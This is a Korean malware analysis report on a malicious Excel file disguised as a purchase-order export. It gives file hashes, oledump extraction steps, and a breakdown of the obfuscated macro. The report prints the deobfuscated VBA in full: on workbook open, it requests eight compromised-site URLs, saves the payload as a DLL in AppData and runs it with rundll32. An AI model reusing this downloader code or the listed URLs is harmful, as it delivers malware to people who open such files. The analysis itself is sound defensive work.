1. 개요
1.1 분석 수행 인원
•
이수영
1.2 파일 정보
File Name | export_of_purchase_order_7484876.xlsm |
Size | 4.3 MB |
Type | Microsoft Excel 2007+ |
Behavior | Downloader |
MD5 | 8a52b4efb7c01e551461c32098ddbc5b |
SHA256 | c608e5b60b93080aa864368423573655eb6f9879e74e702a333009f2818bacb5 |
ssdeep | 98304:wgWxtytO2cm6qfgeyNa9zvGIyXUqll0z7EObLLLssBy:G/SKsvyNEzvWXple7N/LXBy |
AntiVirus | 29 / 64 (45.3%) |
1.3 Time table
2. 악성코드 상세 분석
2.1 export_of_purchase_order_7484876.xlsm 분석
(1) Excel 파일 내에 의심스러운 스트림 분석
oledump.py export_of_purchase_order_7484876.xlsm
Bash
복사
export_of_purchase_order_7484876.xlsm 파일에서 스트림을 확인해보면 A7, A8, A9, A10, A16, A17, A31, A33 스트림에 매크로가 포함되어 있는 것을 확인할 수 있다.
위 이미지는 s7.vbs 파일의 내용으로 다른 스트림도 비슷한 것을 알 수 있다.
oledump.py export_of_purchase_order_7484876.xlsm -s 7 -v > s7.vbs
oledump.py export_of_purchase_order_7484876.xlsm -s 8 -v > s8.vbs
oledump.py export_of_purchase_order_7484876.xlsm -s 9 -v > s9.vbs
oledump.py export_of_purchase_order_7484876.xlsm -s 10 -v > s10.vbs
oledump.py export_of_purchase_order_7484876.xlsm -s 16 -v > s16.vbs
oledump.py export_of_purchase_order_7484876.xlsm -s 17 -v > s17.vbs
oledump.py export_of_purchase_order_7484876.xlsm -s 31 -v > s31.vbs
oledump.py export_of_purchase_order_7484876.xlsm -s 33 -v > s33.vbs
Bash
복사
A7, A8, A9, A10, A16, A17, A31, A33 스트림을 추출한 뒤 코드를 확인해보면 불필요한 코드(주석)이 존재하는 것을 확인할 수 있다.
(2) 매크로 분석
A7, A8, A9, A10, A16, A17, A31, A33 스트림을 추출한 뒤 코드를 확인해보면 불필요한 코드(주석)이 존재하는 것을 확인할 수 있다. 각 스트림에서 주석을 삭제한 코드는 아래와 같다.
s7.vbs
s8.vbs
s9.vbs
s10.vbs
s16.vbs
s17.vbs
s31.vbs
s33.vbs
주석을 삭제한 코드 역시 난독화가 되어있음을 확인할 수 있다. 해당 코드들의 난독화 방법에는 공통적인 특징이 있는데 그것은 악의적인 행위에 사용하는 문자열을 VBScript에 작성하지 않고 엑셀 시트 내에 저장한 뒤 가져와서 사용하고 있다. 엑셀 시트 부분은 바이너리 데이터로 되어있기 때문에 뷰어 혹은 엑셀로 직접 열어보지 않고는 확인이 어렵다.
ttribute VB_Name = "ThisWorkbook"
Private Sub Workbook_Open()
urls = Array("https://tafaghodi.ir/resume/files/EHEtRsJyIPR6o75.php", "https://sidnetworld.com/env/add-ons/tinymce/themes/inlite/HShRYdMy.php", "https://darkmattercompany.com/billing/templates/orderforms/comparison/images/OMqNCOuk.php", "https://italmaps.com/nuovo/wp-includes/js/jquery/ui/vUYhCCeCNKQoEk.php", "https://multigranos.com.bo/wp-content/plugins/woocommerce/i18n/languages/SFMm6Qoe.php", "https://touchuphouse.com/wp-content/plugins/wp-file-manager/inc/images/VsMQ4PexH.php", "https://grupoakrabu.com/img/galeria/paEAehZhSWNmH.php", "https://bhuttangill.com/wp-includes/js/tinymce/themes/inlite/Agk5yxu6D3SEW.php")
For Each BANGTAILSSUMMATESDIGITONIN In urls
Set remitlacrimarieshumicolous = CreateObject("Wscript.Shell")
On Error Resume Next
If Len(BANGTAILSSUMMATESDIGITONIN.Value) > 10 Then
With CreateObject("MSXML2.XMLHTTP")
.Open "GET", BANGTAILSSUMMATESDIGITONIN.Value, False
.Send
If .Status = 200 And Len(.responseBody) > 10000 Then
Set FEETLESSSOLVED = CreateObject("ADODB.Stream")
FEETLESSSOLVED.Open
FEETLESSSOLVED.Type = 1
FEETLESSSOLVED.Write .responseBody
FEETLESSSOLVED.SaveToFile "%AppData%" & "\63326.dll", 2
FEETLESSSOLVED.Close
With remitlacrimarieshumicolous
.Run "rundll32.exe %AppData%\63326.dll FillPath"
End With
Exit For
End If
End With
End If
Next BANGTAILSSUMMATESDIGITONIN
End Sub
Visual Basic
복사
엑셀 시트 내의 문자열을 참고해서 난독화 된 코드를 역난독화 한 뒤 불필요한 코드를 제거한 후 핵심 코드를 추출 및 분석하면 아래와 같다.
1.
엑셀 시트에 숨겨져 있던 8개의 URL에 GET 방식으로 요청
2.
HTTP Status code가 200이고 응답 길이가 10000보다 크면 “%APPDATA%” 경로에 “63326.dll” 이름으로 파일 저장
3.
rundll32.exe %AppData%\63326.dll FillPath 실행
이 악성코드를 분석한 시점에서는 악성코드가 통신을 요청하는 URL들은 식별되었으나 8개의 URLs에서 어느 URL에서 악성코드를 다운받아서 실행하는지 여부는 알 수 없다. 그리고 “63326.dll”에 “FillPath”라는 문자열을 파라미터로 입력한 것도 해당 악성코드의 트리거로 유추하지만 구체적으로 어떤 기능으로써 사용한 것인지는 알 수 없다.